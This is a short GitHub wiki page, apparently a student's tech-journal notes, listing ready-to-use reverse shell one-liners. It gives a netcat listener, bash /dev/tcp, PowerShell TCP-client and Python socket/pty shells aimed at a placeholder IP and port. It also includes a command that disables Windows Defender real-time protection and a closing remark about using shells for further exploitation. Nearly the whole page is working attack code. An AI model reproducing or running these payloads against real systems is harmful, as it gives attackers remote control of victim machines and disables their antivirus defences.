Reverse Shells - samuel-richardson/Sam-Tech-Journal GitHub Wiki

Reverse shells

  • Use reverse shlls to connect to a local listener for an interactive console.
  • netcat listener nc -nlvp 6669
  • The below methods require the changing to the users ip and listening port
  • Easy source for Reverse Shells

Bash Reverse shell

  • This reverse shell is run using bash.
  • Can be entered into a webshell for example.
  • sh -i >& /dev/tcp/10.10.10.10/9001 0>&1

Windows reverse shell

  • cmd revshell.
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  • Must turn off windows defender to run.
  • In powershell use Set-MpPreference -DisableRealtimeMonitoring $true

Python reverse shell

  • python revshell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
  • Python is needed to run this reverse shell.

Reflection

  • Reverse shells are very useful for getting an interactive shell.
  • Leverage reverse shells to make further exploitation easier.